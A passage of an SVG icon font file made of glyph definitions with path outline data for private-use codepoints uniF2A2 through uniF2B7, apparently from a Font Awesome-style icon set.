d="M192 352q-66 0 -113 -47t-47 -113t47 -113t113 -47t113 47t47 113t-47 113t-113 47zM704 352q-66 0 -113 -47t-47 -113t47 -113t113 -47t113 47t47 113t-47 113t-113 47zM704 864q-66 0 -113 -47t-47 -113t47 -113t113 -47t113 47t47 113t-47 113t-113 47zM1472 352
q-66 0 -113 -47t-47 -113t47 -113t113 -47t113 47t47 113t-47 113t-113 47zM1984 352q-66 0 -113 -47t-47 -113t47 -113t113 -47t113 47t47 113t-47 113t-113 47zM1472 864q-66 0 -113 -47t-47 -113t47 -113t113 -47t113 47t47 113t-47 113t-113 47zM1984 864
q-66 0 -113 -47t-47 -113t47 -113t113 -47t113 47t47 113t-47 113t-113 47zM1984 1376q-66 0 -113 -47t-47 -113t47 -113t113 -47t113 47t47 113t-47 113t-113 47zM384 192q0 -80 -56 -136t-136 -56t-136 56t-56 136t56 136t136 56t136 -56t56 -136zM896 192q0 -80 -56 -136
t-136 -56t-136 56t-56 136t56 136t136 56t136 -56t56 -136zM384 704q0 -80 -56 -136t-136 -56t-136 56t-56 136t56 136t136 56t136 -56t56 -136zM896 704q0 -80 -56 -136t-136 -56t-136 56t-56 136t56 136t136 56t136 -56t56 -136zM384 1216q0 -80 -56 -136t-136 -56
t-136 56t-56 136t56 136t136 56t136 -56t56 -136zM1664 192q0 -80 -56 -136t-136 -56t-136 56t-56 136t56 136t136 56t136 -56t56 -136zM896 1216q0 -80 -56 -136t-136 -56t-136 56t-56 136t56 136t136 56t136 -56t56 -136zM2176 192q0 -80 -56 -136t-136 -56t-136 56
t-56 136t56 136t136 56t136 -56t56 -136zM1664 704q0 -80 -56 -136t-136 -56t-136 56t-56 136t56 136t136 56t136 -56t56 -136zM2176 704q0 -80 -56 -136t-136 -56t-136 56t-56 136t56 136t136 56t136 -56t56 -136zM1664 1216q0 -80 -56 -136t-136 -56t-136 56t-56 136
t56 136t136 56t136 -56t56 -136zM2176 1216q0 -80 -56 -136t-136 -56t-136 56t-56 136t56 136t136 56t136 -56t56 -136z" />
    <glyph glyph-name="uniF2A2" unicode="&#xf2a2;" horiz-adv-x="1792" 
d="M128 -192q0 -26 -19 -45t-45 -19t-45 19t-19 45t19 45t45 19t45 -19t19 -45zM320 0q0 -26 -19 -45t-45 -19t-45 19t-19 45t19 45t45 19t45 -19t19 -45zM365 365l256 -256l-90 -90l-256 256zM704 384q0 -26 -19 -45t-45 -19t-45 19t-19 45t19 45t45 19t45 -19t19 -45z
M1411 704q0 -59 -11.5 -108.5t-37.5 -93.5t-44 -67.5t-53 -64.5q-31 -35 -45.5 -54t-33.5 -50t-26.5 -64t-7.5 -74q0 -159 -112.5 -271.5t-271.5 -112.5q-26 0 -45 19t-19 45t19 45t45 19q106 0 181 75t75 181q0 57 11.5 105.5t37 91t43.5 66.5t52 63q40 46 59.5 72
t37.5 74.5t18 103.5q0 185 -131.5 316.5t-316.5 131.5t-316.5 -131.5t-131.5 -316.5q0 -26 -19 -45t-45 -19t-45 19t-19 45q0 117 45.5 223.5t123 184t184 123t223.5 45.5t223.5 -45.5t184 -123t123 -184t45.5 -223.5zM896 576q0 -26 -19 -45t-45 -19t-45 19t-19 45t19 45
t45 19t45 -19t19 -45zM1184 704q0 -26 -19 -45t-45 -19t-45 19t-19 45q0 93 -65.5 158.5t-158.5 65.5q-92 0 -158 -65.5t-66 -158.5q0 -26 -19 -45t-45 -19t-45 19t-19 45q0 146 103 249t249 103t249 -103t103 -249zM1578 993q10 -25 -1 -49t-36 -34q-9 -4 -23 -4
q-19 0 -35.5 11t-23.5 30q-68 178 -224 295q-21 16 -25 42t12 47q17 21 43 25t47 -12q183 -137 266 -351zM1788 1074q9 -25 -1.5 -49t-35.5 -34q-11 -4 -23 -4q-44 0 -60 41q-92 238 -297 393q-22 16 -25.5 42t12.5 47q16 22 42 25.5t47 -12.5q235 -175 341 -449z" />
    <glyph glyph-name="uniF2A3" unicode="&#xf2a3;" horiz-adv-x="2304" 
d="M1032 576q-59 2 -84 55q-17 34 -48 53.5t-68 19.5q-53 0 -90.5 -37.5t-37.5 -90.5q0 -56 36 -89l10 -8q34 -31 82 -31q37 0 68 19.5t48 53.5q25 53 84 55zM1600 704q0 56 -36 89l-10 8q-34 31 -82 31q-37 0 -68 -19.5t-48 -53.5q-25 -53 -84 -55q59 -2 84 -55
q17 -34 48 -53.5t68 -19.5q53 0 90.5 37.5t37.5 90.5zM1174 925q-17 -35 -55 -48t-73 4q-62 31 -134 31q-51 0 -99 -17q3 0 9.5 0.5t9.5 0.5q92 0 170.5 -50t118.5 -133q17 -36 3.5 -73.5t-49.5 -54.5q-18 -9 -39 -9q21 0 39 -9q36 -17 49.5 -54.5t-3.5 -73.5
q-40 -83 -118.5 -133t-170.5 -50h-6q-16 2 -44 4l-290 27l-239 -120q-14 -7 -29 -7q-40 0 -57 35l-160 320q-11 23 -4 47.5t29 37.5l209 119l148 267q17 155 91.5 291.5t195.5 236.5q31 25 70.5 21.5t64.5 -34.5t21.5 -70t-34.5 -65q-70 -59 -117 -128q123 84 267 101
q40 5 71.5 -19t35.5 -64q5 -40 -19 -71.5t-64 -35.5q-84 -10 -159 -55q46 10 99 10q115 0 218 -50q36 -18 49 -55.5t-5 -73.5zM2137 1085l160 -320q11 -23 4 -47.5t-29 -37.5l-209 -119l-148 -267q-17 -155 -91.5 -291.5t-195.5 -236.5q-26 -22 -61 -22q-45 0 -74 35
q-25 31 -21.5 70t34.5 65q70 59 117 128q-123 -84 -267 -101q-4 -1 -12 -1q-36 0 -63.5 24t-31.5 60q-5 40 19 71.5t64 35.5q84 10 159 55q-46 -10 -99 -10q-115 0 -218 50q-36 18 -49 55.5t5 73.5q17 35 55 48t73 -4q62 -31 134 -31q51 0 99 17q-3 0 -9.5 -0.5t-9.5 -0.5
q-92 0 -170.5 50t-118.5 133q-17 36 -3.5 73.5t49.5 54.5q18 9 39 9q-21 0 -39 9q-36 17 -49.5 54.5t3.5 73.5q40 83 118.5 133t170.5 50h6h1q14 -2 42 -4l291 -27l239 120q14 7 29 7q40 0 57 -35z" />
    <glyph glyph-name="uniF2A4" unicode="&#xf2a4;" horiz-adv-x="1792" 
d="M1056 704q0 -26 19 -45t45 -19t45 19t19 45q0 146 -103 249t-249 103t-249 -103t-103 -249q0 -26 19 -45t45 -19t45 19t19 45q0 93 66 158.5t158 65.5t158 -65.5t66 -158.5zM835 1280q-117 0 -223.5 -45.5t-184 -123t-123 -184t-45.5 -223.5q0 -26 19 -45t45 -19t45 19
t19 45q0 185 131.5 316.5t316.5 131.5t316.5 -131.5t131.5 -316.5q0 -55 -18 -103.5t-37.5 -74.5t-59.5 -72q-34 -39 -52 -63t-43.5 -66.5t-37 -91t-11.5 -105.5q0 -106 -75 -181t-181 -75q-26 0 -45 -19t-19 -45t19 -45t45 -19q159 0 271.5 112.5t112.5 271.5q0 41 7.5 74
t26.5 64t33.5 50t45.5 54q35 41 53 64.5t44 67.5t37.5 93.5t11.5 108.5q0 117 -45.5 223.5t-123 184t-184 123t-223.5 45.5zM591 561l226 -226l-579 -579q-12 -12 -29 -12t-29 12l-168 168q-12 12 -12 29t12 29zM1612 1524l168 -168q12 -12 12 -29t-12 -30l-233 -233
l-26 -25l-71 -71q-66 153 -195 258l91 91l207 207q13 12 30 12t29 -12z" />
    <glyph glyph-name="uniF2A5" unicode="&#xf2a5;" 
d="M866 1021q0 -27 -13 -94q-11 -50 -31.5 -150t-30.5 -150q-2 -11 -4.5 -12.5t-13.5 -2.5q-20 -2 -31 -2q-58 0 -84 49.5t-26 113.5q0 88 35 174t103 124q28 14 51 14q28 0 36.5 -16.5t8.5 -47.5zM1352 597q0 14 -39 75.5t-52 66.5q-21 8 -34 8q-91 0 -226 -77l-2 2
q3 22 27.5 135t24.5 178q0 233 -242 233q-24 0 -68 -6q-94 -17 -168.5 -89.5t-111.5 -166.5t-37 -189q0 -146 80.5 -225t227.5 -79q25 0 25 -3t-1 -5q-4 -34 -26 -117q-14 -52 -51.5 -101t-82.5 -49q-42 0 -42 47q0 24 10.5 47.5t25 39.5t29.5 28.5t26 20t11 8.5q0 3 -7 10
q-24 22 -58.5 36.5t-65.5 14.5q-35 0 -63.5 -34t-41 -75t-12.5 -75q0 -88 51.5 -142t138.5 -54q82 0 155 53t117.5 126t65.5 153q6 22 15.5 66.5t14.5 66.5q3 12 14 18q118 60 227 60q48 0 127 -18q1 -1 4 -1q5 0 9.5 4.5t4.5 8.5zM1536 1120v-960q0 -119 -84.5 -203.5
t-203.5 -84.5h-960q-119 0 -203.5 84.5t-84.5 203.5v960q0 119 84.5 203.5t203.5 84.5h960q119 0 203.5 -84.5t84.5 -203.5z" />
    <glyph glyph-name="uniF2A6" unicode="&#xf2a6;" horiz-adv-x="1535" 
d="M744 1231q0 24 -2 38.5t-8.5 30t-21 23t-37.5 7.5q-39 0 -78 -23q-105 -58 -159 -190.5t-54 -269.5q0 -44 8.5 -85.5t26.5 -80.5t52.5 -62.5t81.5 -23.5q4 0 18 -0.5t20 0t16 3t15 8.5t7 16q16 77 48 231.5t48 231.5q19 91 19 146zM1498 575q0 -7 -7.5 -13.5t-15.5 -6.5
l-6 1q-22 3 -62 11t-72 12.5t-63 4.5q-167 0 -351 -93q-15 -8 -21 -27q-10 -36 -24.5 -105.5t-22.5 -100.5q-23 -91 -70 -179.5t-112.5 -164.5t-154.5 -123t-185 -47q-135 0 -214.5 83.5t-79.5 219.5q0 53 19.5 117t63 116.5t97.5 52.5q38 0 120 -33.5t83 -61.5
q0 -1 -16.5 -12.5t-39.5 -31t-46 -44.5t-39 -61t-16 -74q0 -33 16.5 -53t48.5 -20q45 0 85 31.5t66.5 78t48 105.5t32.5 107t16 90v9q0 2 -3.5 3.5t-8.5 1.5h-10t-10 -0.5t-6 -0.5q-227 0 -352 122.5t-125 348.5q0 108 34.5 221t96 210t156 167.5t204.5 89.5q52 9 106 9
q374 0 374 -360q0 -98 -38 -273t-43 -211l3 -3q101 57 182.5 88t167.5 31q22 0 53 -13q19 -7 80 -102.5t61 -116.5z" />
    <glyph glyph-name="uniF2A7" unicode="&#xf2a7;" horiz-adv-x="1664" 
d="M831 863q32 0 59 -18l222 -148q61 -40 110 -97l146 -170q40 -46 29 -106l-72 -413q-6 -32 -29.5 -53.5t-55.5 -25.5l-527 -56l-352 -32h-9q-39 0 -67.5 28t-28.5 68q0 37 27 64t65 32l260 32h-448q-41 0 -69.5 30t-26.5 71q2 39 32 65t69 26l442 1l-521 64q-41 5 -66 37
t-19 73q6 35 34.5 57.5t65.5 22.5h10l481 -60l-351 94q-38 10 -62 41.5t-18 68.5q6 36 33 58.5t62 22.5q6 0 20 -2l448 -96l217 -37q1 0 3 -0.5t3 -0.5q23 0 30.5 23t-12.5 36l-186 125q-35 23 -42 63.5t18 73.5q27 38 76 38zM761 661l186 -125l-218 37l-5 2l-36 38
l-238 262q-1 1 -2.5 3.5t-2.5 3.5q-24 31 -18.5 70t37.5 64q31 23 68 17.5t64 -33.5l142 -147q-2 -1 -5 -3.5t-4 -4.5q-32 -45 -23 -99t55 -85zM1648 1115l15 -266q4 -73 -11 -147l-48 -219q-12 -59 -67 -87l-106 -54q2 62 -39 109l-146 170q-53 61 -117 103l-222 148
q-34 23 -76 23q-51 0 -88 -37l-235 312q-25 33 -18 73.5t41 63.5q33 22 71.5 14t62.5 -40l266 -352l-262 455q-21 35 -10.5 75t47.5 59q35 18 72.5 6t57.5 -46l241 -420l-136 337q-15 35 -4.5 74t44.5 56q37 19 76 6t56 -51l193 -415l101 -196q8 -15 23 -17.5t27 7.5t11 26
l-12 224q-2 41 26 71t69 31q39 0 67 -28.5t30 -67.5z" />
    <glyph glyph-name="uniF2A8" unicode="&#xf2a8;" horiz-adv-x="1792" 
d="M335 180q-2 0 -6 2q-86 57 -168.5 145t-139.5 180q-21 30 -21 69q0 9 2 19t4 18t7 18t8.5 16t10.5 17t10 15t12 15.5t11 14.5q184 251 452 365q-110 198 -110 211q0 19 17 29q116 64 128 64q18 0 28 -16l124 -229q92 19 192 19q266 0 497.5 -137.5t378.5 -369.5
q20 -31 20 -69t-20 -69q-91 -142 -218.5 -253.5t-278.5 -175.5q110 -198 110 -211q0 -20 -17 -29q-116 -64 -127 -64q-19 0 -29 16l-124 229l-64 119l-444 820l7 7q-58 -24 -99 -47q3 -5 127 -234t243 -449t119 -223q0 -7 -9 -9q-13 -3 -72 -3q-57 0 -60 7l-456 841
q-39 -28 -82 -68q24 -43 214 -393.5t190 -354.5q0 -10 -11 -10q-14 0 -82.5 22t-72.5 28l-106 197l-224 413q-44 -53 -78 -106q2 -3 18 -25t23 -34l176 -327q0 -10 -10 -10zM1165 282l49 -91q273 111 450 385q-180 277 -459 389q67 -64 103 -148.5t36 -176.5
q0 -106 -47 -200.5t-132 -157.5zM848 896q0 -20 14 -34t34 -14q86 0 147 -61t61 -147q0 -20 14 -34t34 -14t34 14t14 34q0 126 -89 215t-215 89q-20 0 -34 -14t-14 -34zM1214 961l-9 4l7 -7z" />
    <glyph glyph-name="uniF2A9" unicode="&#xf2a9;" horiz-adv-x="1280" 
d="M1050 430q0 -215 -147 -374q-148 -161 -378 -161q-232 0 -378 161q-147 159 -147 374q0 147 68 270.5t189 196.5t268 73q96 0 182 -31q-32 -62 -39 -126q-66 28 -143 28q-167 0 -280.5 -123t-113.5 -291q0 -170 112.5 -288.5t281.5 -118.5t281 118.5t112 288.5
q0 89 -32 166q66 13 123 49q41 -98 41 -212zM846 619q0 -192 -79.5 -345t-238.5 -253l-14 -1q-29 0 -62 5q83 32 146.5 102.5t99.5 154.5t58.5 189t30 192.5t7.5 178.5q0 69 -3 103q55 -160 55 -326zM791 947v-2q-73 214 -206 440q88 -59 142.5 -186.5t63.5 -251.5z
M1035 744q-83 0 -160 75q218 120 290 247q19 37 21 56q-42 -94 -139.5 -166.5t-204.5 -97.5q-35 54 -35 113q0 37 17 79t43 68q46 44 157 74q59 16 106 58.5t74 100.5q74 -105 74 -253q0 -109 -24 -170q-32 -77 -88.5 -130.5t-130.5 -53.5z" />
    <glyph glyph-name="uniF2AA" unicode="&#xf2aa;" 
d="M1050 495q0 78 -28 147q-41 -25 -85 -34q22 -50 22 -114q0 -117 -77 -198.5t-193 -81.5t-193.5 81.5t-77.5 198.5q0 115 78 199.5t193 84.5q53 0 98 -19q4 43 27 87q-60 21 -125 21q-154 0 -257.5 -108.5t-103.5 -263.5t103.5 -261t257.5 -106t257.5 106.5t103.5 260.5z
M872 850q2 -24 2 -71q0 -63 -5 -123t-20.5 -132.5t-40.5 -130t-68.5 -106t-100.5 -70.5q21 -3 42 -3h10q219 139 219 411q0 116 -38 225zM872 850q-4 80 -44 171.5t-98 130.5q92 -156 142 -302zM1207 955q0 102 -51 174q-41 -86 -124 -109q-69 -19 -109 -53.5t-40 -99.5
q0 -40 24 -77q74 17 140.5 67t95.5 115q-4 -52 -74.5 -111.5t-138.5 -97.5q52 -52 110 -52q51 0 90 37t60 90q17 42 17 117zM1536 1120v-960q0 -119 -84.5 -203.5t-203.5 -84.5h-960q-119 0 -203.5 84.5t-84.5 203.5v960q0 119 84.5 203.5t203.5 84.5h960q119 0 203.5 -84.5
t84.5 -203.5z" />
    <glyph glyph-name="uniF2AB" unicode="&#xf2ab;" 
d="M1279 388q0 22 -22 27q-67 15 -118 59t-80 108q-7 19 -7 25q0 15 19.5 26t43 17t43 20.5t19.5 36.5q0 19 -18.5 31.5t-38.5 12.5q-12 0 -32 -8t-31 -8q-4 0 -12 2q5 95 5 114q0 79 -17 114q-36 78 -103 121.5t-152 43.5q-199 0 -275 -165q-17 -35 -17 -114q0 -19 5 -114
q-4 -2 -14 -2q-12 0 -32 7.5t-30 7.5q-21 0 -38.5 -12t-17.5 -32q0 -21 19.5 -35.5t43 -20.5t43 -17t19.5 -26q0 -6 -7 -25q-64 -138 -198 -167q-22 -5 -22 -27q0 -46 137 -68q2 -5 6 -26t11.5 -30.5t23.5 -9.5q12 0 37.5 4.5t39.5 4.5q35 0 67 -15t54 -32.5t57.5 -32.5
t76.5 -15q43 0 79 15t57.5 32.5t53.5 32.5t67 15q14 0 39.5 -4t38.5 -4q16 0 23 10t11 30t6 25q137 22 137 68zM1536 640q0 -209 -103 -385.5t-279.5 -279.5t-385.5 -103t-385.5 103t-279.5 279.5t-103 385.5t103 385.5t279.5 279.5t385.5 103t385.5 -103t279.5 -279.5
t103 -385.5z" />
    <glyph glyph-name="uniF2AC" unicode="&#xf2ac;" horiz-adv-x="1664" 
d="M848 1408q134 1 240.5 -68.5t163.5 -192.5q27 -58 27 -179q0 -47 -9 -191q14 -7 28 -7q18 0 51 13.5t51 13.5q29 0 56 -18t27 -46q0 -32 -31.5 -54t-69 -31.5t-69 -29t-31.5 -47.5q0 -15 12 -43q37 -82 102.5 -150t144.5 -101q28 -12 80 -23q28 -6 28 -35
q0 -70 -219 -103q-7 -11 -11 -39t-14 -46.5t-33 -18.5q-20 0 -62 6.5t-64 6.5q-37 0 -62 -5q-32 -5 -63 -22.5t-58 -38t-58 -40.5t-76 -33.5t-99 -13.5q-52 0 -96.5 13.5t-75 33.5t-57.5 40.5t-58 38t-62 22.5q-26 5 -63 5q-24 0 -65.5 -7.5t-58.5 -7.5q-25 0 -35 18.5
t-14 47.5t-11 40q-219 33 -219 103q0 29 28 35q52 11 80 23q78 32 144.5 101t102.5 150q12 28 12 43q0 28 -31.5 47.5t-69.5 29.5t-69.5 31.5t-31.5 52.5q0 27 26 45.5t55 18.5q15 0 48 -13t53 -13q18 0 32 7q-9 142 -9 190q0 122 27 180q64 137 172 198t264 63z" />
    <glyph glyph-name="uniF2AD" unicode="&#xf2ad;" 
d="M1280 388q0 22 -22 27q-67 14 -118 58t-80 109q-7 14 -7 25q0 15 19.5 26t42.5 17t42.5 20.5t19.5 36.5q0 19 -18.5 31.5t-38.5 12.5q-11 0 -31 -8t-32 -8q-4 0 -12 2q5 63 5 115q0 78 -17 114q-36 78 -102.5 121.5t-152.5 43.5q-198 0 -275 -165q-18 -38 -18 -115
q0 -38 6 -114q-10 -2 -15 -2q-11 0 -31.5 8t-30.5 8q-20 0 -37.5 -12.5t-17.5 -32.5q0 -21 19.5 -35.5t42.5 -20.5t42.5 -17t19.5 -26q0 -11 -7 -25q-64 -138 -198 -167q-22 -5 -22 -27q0 -47 138 -69q2 -5 6 -26t11 -30.5t23 -9.5q13 0 38.5 5t38.5 5q35 0 67.5 -15
t54.5 -32.5t57.5 -32.5t76.5 -15q43 0 79 15t57.5 32.5t54 32.5t67.5 15q13 0 39 -4.5t39 -4.5q15 0 22.5 9.5t11.5 31t5 24.5q138 22 138 69zM1536 1120v-960q0 -119 -84.5 -203.5t-203.5 -84.5h-960q-119 0 -203.5 84.5t-84.5 203.5v960q0 119 84.5 203.5t203.5 84.5h960
q119 0 203.5 -84.5t84.5 -203.5z" />
    <glyph glyph-name="uniF2AE" unicode="&#xf2ae;" horiz-adv-x="2304" 
d="M2304 1536q-69 -46 -125 -92t-89 -81t-59.5 -71.5t-37.5 -57.5t-22 -44.5t-14 -29.5q-10 -18 -35.5 -136.5t-48.5 -164.5q-15 -29 -50 -60.5t-67.5 -50.5t-72.5 -41t-48 -28q-47 -31 -151 -231q-341 14 -630 -158q-92 -53 -303 -179q47 16 86 31t55 22l15 7
q71 27 163 64.5t133.5 53.5t108 34.5t142.5 31.5q186 31 465 -7q1 0 10 -3q11 -6 14 -17t-3 -22l-194 -345q-15 -29 -47 -22q-128 24 -354 24q-146 0 -402 -44.5t-392 -46.5q-82 -1 -149 13t-107 37t-61 40t-33 34l-1 1v2q0 6 6 6q138 0 371 55q192 366 374.5 524t383.5 158
q5 0 14.5 -0.5t38 -5t55 -12t61.5 -24.5t63 -39.5t54 -59t40 -82.5l102 177q2 4 21 42.5t44.5 86.5t61 109.5t84 133.5t100.5 137q66 82 128 141.5t121.5 96.5t92.5 53.5t88 39.5z" />
    <glyph glyph-name="uniF2B0" unicode="&#xf2b0;" 
d="M1322 640q0 -45 -5 -76l-236 14l224 -78q-19 -73 -58 -141l-214 103l177 -158q-44 -61 -107 -108l-157 178l103 -215q-61 -37 -140 -59l-79 228l14 -240q-38 -6 -76 -6t-76 6l14 238l-78 -226q-74 19 -140 59l103 215l-157 -178q-59 43 -108 108l178 158l-214 -104
q-39 69 -58 141l224 79l-237 -14q-5 42 -5 76q0 35 5 77l238 -14l-225 79q19 73 58 140l214 -104l-177 159q46 61 107 108l158 -178l-103 215q67 39 140 58l77 -224l-13 236q36 6 75 6q38 0 76 -6l-14 -237l78 225q74 -19 140 -59l-103 -214l158 178q61 -47 107 -108
l-177 -159l213 104q37 -62 58 -141l-224 -78l237 14q5 -31 5 -77zM1352 640q0 160 -78.5 295.5t-213 214t-292.5 78.5q-119 0 -227 -46.5t-186.5 -125t-124.5 -187.5t-46 -229q0 -119 46 -228t124.5 -187.5t186.5 -125t227 -46.5q158 0 292.5 78.5t213 214t78.5 294.5z
M1425 1023v-766l-657 -383l-657 383v766l657 383zM768 -183l708 412v823l-708 411l-708 -411v-823zM1536 1088v-896l-768 -448l-768 448v896l768 448z" />
    <glyph glyph-name="uniF2B1" unicode="&#xf2b1;" horiz-adv-x="1664" 
d="M339 1318h691l-26 -72h-665q-110 0 -188.5 -79t-78.5 -189v-771q0 -95 60.5 -169.5t153.5 -93.5q23 -5 98 -5v-72h-45q-140 0 -239.5 100t-99.5 240v771q0 140 99.5 240t239.5 100zM1190 1536h247l-482 -1294q-23 -61 -40.5 -103.5t-45 -98t-54 -93.5t-64.5 -78.5
t-79.5 -65t-95.5 -41t-116 -18.5v195q163 26 220 182q20 52 20 105q0 54 -20 106l-285 733h228l187 -585zM1664 978v-1111h-795q37 55 45 73h678v1038q0 85 -49.5 155t-129.5 99l25 67q101 -34 163.5 -123.5t62.5 -197.5z" />
    <glyph glyph-name="uniF2B2" unicode="&#xf2b2;" horiz-adv-x="1792" 
d="M852 1227q0 -29 -17 -52.5t-45 -23.5t-45 23.5t-17 52.5t17 52.5t45 23.5t45 -23.5t17 -52.5zM688 -149v114q0 30 -20.5 51.5t-50.5 21.5t-50 -21.5t-20 -51.5v-114q0 -30 20.5 -52t49.5 -22q30 0 50.5 22t20.5 52zM860 -149v114q0 30 -20 51.5t-50 21.5t-50.5 -21.5
t-20.5 -51.5v-114q0 -30 20.5 -52t50.5 -22q29 0 49.5 22t20.5 52zM1034 -149v114q0 30 -20.5 51.5t-50.5 21.5t-50.5 -21.5t-20.5 -51.5v-114q0 -30 20.5 -52t50.5 -22t50.5 22t20.5 52zM1208 -149v114q0 30 -20.5 51.5t-50.5 21.5t-50.5 -21.5t-20.5 -51.5v-114
q0 -30 20.5 -52t50.5 -22t50.5 22t20.5 52zM1476 535q-84 -160 -232 -259.5t-323 -99.5q-123 0 -229.5 51.5t-178.5 137t-113 197.5t-41 232q0 88 21 174q-104 -175 -104 -390q0 -162 65 -312t185 -251q30 57 91 57q56 0 86 -50q32 50 87 50q56 0 86 -50q32 50 87 50t87 -50
q30 50 86 50q28 0 52.5 -15.5t37.5 -40.5q112 94 177 231.5t73 287.5zM1326 564q0 75 -72 75q-17 0 -47 -6q-95 -19 -149 -19q-226 0 -226 243q0 86 30 204q-83 -127 -83 -275q0 -150 89 -260.5t235 -110.5q111 0 210 70q13 48 13 79zM884 1223q0 50 -32 89.5t-81 39.5
t-81 -39.5t-32 -89.5q0 -51 31.5 -90.5t81.5 -39.5t81.5 39.5t31.5 90.5zM1513 884q0 96 -37.5 179t-113 137t-173.5 54q-77 0 -149 -35t-127 -94q-48 -159 -48 -268q0 -104 45.5 -157t147.5 -53q53 0 142 19q36 6 53 6q51 0 77.5 -28t26.5 -80q0 -26 -4 -46
q75 68 117.5 165.5t42.5 200.5zM1792 667q0 -111 -33.5 -249.5t-93.5 -204.5q-58 -64 -195 -142.5t-228 -104.5l-4 -1v-114q0 -43 -29.5 -75t-72.5 -32q-56 0 -86 50q-32 -50 -87 -50t-87 50q-30 -50 -86 -50q-55 0 -87 50q-30 -50 -86 -50q-47 0 -75 33.5t-28 81.5
q-90 -68 -198 -68q-118 0 -211 80q54 1 106 20q-113 31 -182 127q32 -7 71 -7q89 0 164 46q-192 192 -240 306q-24 56 -24 160q0 57 9 125.5t31.5 146.5t55 141t86.5 105t120 42q59 0 81 -52q19 29 42 54q2 3 12 13t13 16q10 15 23 38t25 42t28 39q87 111 211.5 177
t260.5 66q35 0 62 -4q59 64 146 64q83 0 140 -57q5 -5 5 -12q0 -5 -6 -13.5t-12.5 -16t-16 -17l-10.5 -10.5q17 -6 36 -18t19 -24q0 -6 -16 -25q157 -138 197 -378q25 30 60 30q45 0 100 -49q90 -80 90 -279z" />
    <glyph glyph-name="uniF2B3" unicode="&#xf2b3;" 
d="M917 631q0 33 -6 64h-362v-132h217q-12 -76 -74.5 -120.5t-142.5 -44.5q-99 0 -169 71.5t-70 170.5t70 170.5t169 71.5q93 0 153 -59l104 101q-108 100 -257 100q-160 0 -272 -112.5t-112 -271.5t112 -271.5t272 -112.5q165 0 266.5 105t101.5 270zM1262 585h109v110
h-109v110h-110v-110h-110v-110h110v-110h110v110zM1536 640q0 -209 -103 -385.5t-279.5 -279.5t-385.5 -103t-385.5 103t-279.5 279.5t-103 385.5t103 385.5t279.5 279.5t385.5 103t385.5 -103t279.5 -279.5t103 -385.5z" />
    <glyph glyph-name="uniF2B4" unicode="&#xf2b4;" 
d="M1536 1024v-839q0 -48 -49 -62q-174 -52 -338 -52q-73 0 -215.5 29.5t-227.5 29.5q-164 0 -370 -48v-338h-160v1368q-63 25 -101 81t-38 124q0 91 64 155t155 64t155 -64t64 -155q0 -68 -38 -124t-101 -81v-68q190 44 343 44q99 0 198 -15q14 -2 111.5 -22.5t149.5 -20.5
q77 0 165 18q11 2 80 21t89 19q26 0 45 -19t19 -45z" />
    <glyph glyph-name="uniF2B5" unicode="&#xf2b5;" horiz-adv-x="2304" 
d="M192 384q40 0 56 32t0 64t-56 32t-56 -32t0 -64t56 -32zM1665 442q-10 13 -38.5 50t-41.5 54t-38 49t-42.5 53t-40.5 47t-45 49l-125 -140q-83 -94 -208.5 -92t-205.5 98q-57 69 -56.5 158t58.5 157l177 206q-22 11 -51 16.5t-47.5 6t-56.5 -0.5t-49 -1q-92 0 -158 -66
l-158 -158h-155v-544q5 0 21 0.5t22 0t19.5 -2t20.5 -4.5t17.5 -8.5t18.5 -13.5l297 -292q115 -111 227 -111q78 0 125 47q57 -20 112.5 8t72.5 85q74 -6 127 44q20 18 36 45.5t14 50.5q10 -10 43 -10q43 0 77 21t49.5 53t12 71.5t-30.5 73.5zM1824 384h96v512h-93l-157 180
q-66 76 -169 76h-167q-89 0 -146 -67l-209 -243q-28 -33 -28 -75t27 -75q43 -51 110 -52t111 49l193 218q25 23 53.5 21.5t47 -27t8.5 -56.5q16 -19 56 -63t60 -68q29 -36 82.5 -105.5t64.5 -84.5q52 -66 60 -140zM2112 384q40 0 56 32t0 64t-56 32t-56 -32t0 -64t56 -32z
M2304 960v-640q0 -26 -19 -45t-45 -19h-434q-27 -65 -82 -106.5t-125 -51.5q-33 -48 -80.5 -81.5t-102.5 -45.5q-42 -53 -104.5 -81.5t-128.5 -24.5q-60 -34 -126 -39.5t-127.5 14t-117 53.5t-103.5 81l-287 282h-358q-26 0 -45 19t-19 45v672q0 26 19 45t45 19h421
q14 14 47 48t47.5 48t44 40t50.5 37.5t51 25.5t62 19.5t68 5.5h117q99 0 181 -56q82 56 181 56h167q35 0 67 -6t56.5 -14.5t51.5 -26.5t44.5 -31t43 -39.5t39 -42t41 -48t41.5 -48.5h355q26 0 45 -19t19 -45z" />
    <glyph glyph-name="uniF2B6" unicode="&#xf2b6;" horiz-adv-x="1792" 
d="M1792 882v-978q0 -66 -47 -113t-113 -47h-1472q-66 0 -113 47t-47 113v978q0 15 11 24q8 7 39 34.5t41.5 36t45.5 37.5t70 55.5t96 73t143.5 107t192.5 140.5q5 4 52.5 40t71.5 52.5t64 35t69 18.5t69 -18.5t65 -35.5t71 -52t52 -40q110 -80 192.5 -140.5t143.5 -107
t96 -73t70 -55.5t45.5 -37.5t41.5 -36t39 -34.5q11 -9 11 -24zM1228 297q263 191 345 252q11 8 12.5 20.5t-6.5 23.5l-38 52q-8 11 -21 12.5t-24 -6.5q-231 -169 -343 -250q-5 -3 -52 -39t-71.5 -52.5t-64.5 -35t-69 -18.5t-69 18.5t-64.5 35t-71.5 52.5t-52 39
q-186 134 -343 250q-11 8 -24 6.5t-21 -12.5l-38 -52q-8 -11 -6.5 -23.5t12.5 -20.5q82 -61 345 -252q10 -8 50 -38t65 -47t64 -39.5t77.5 -33.5t75.5 -11t75.5 11t79 34.5t64.5 39.5t65 47.5t48 36.5z" />
    <glyph glyph-name="uniF2B7" unicode="&#xf2b7;" horiz-adv-x="1792" 
d="M1474 623l39 -51q8 -11 6.5 -23.5t-11.5 -20.5q-43 -34 -126.5 -98.5t-146.5 -113t-67 -51.5q-39 -32 -60 -48t-60.5 -41t-76.5 -36.5t-74 -11.5h-1h-1q-37 0 -74 11.5t-76 36.5t-61 41.5t-60 47.5q-5 4 -65 50.5t-143.5 111t-122.5 94.5q-11 8 -12.5 20.5t6.5 23.5
l37 52q8 11 21.5 13t24.5 -7q94 -73 306 -236q5 -4 43.5 -35t60.5 -46.5t56.5 -32.5t58.5 -17h1h1q24 0 58.5 17t56.5 32.5t60.5 46.5t43.5 35q258 198 313 242q11 8 24 6.5t21 -12.5zM1664 -96v928q-90 83 -159 139q-91 74 -389 304q-3 2 -43 35t-61 48t-56 32.5t-59 17.5
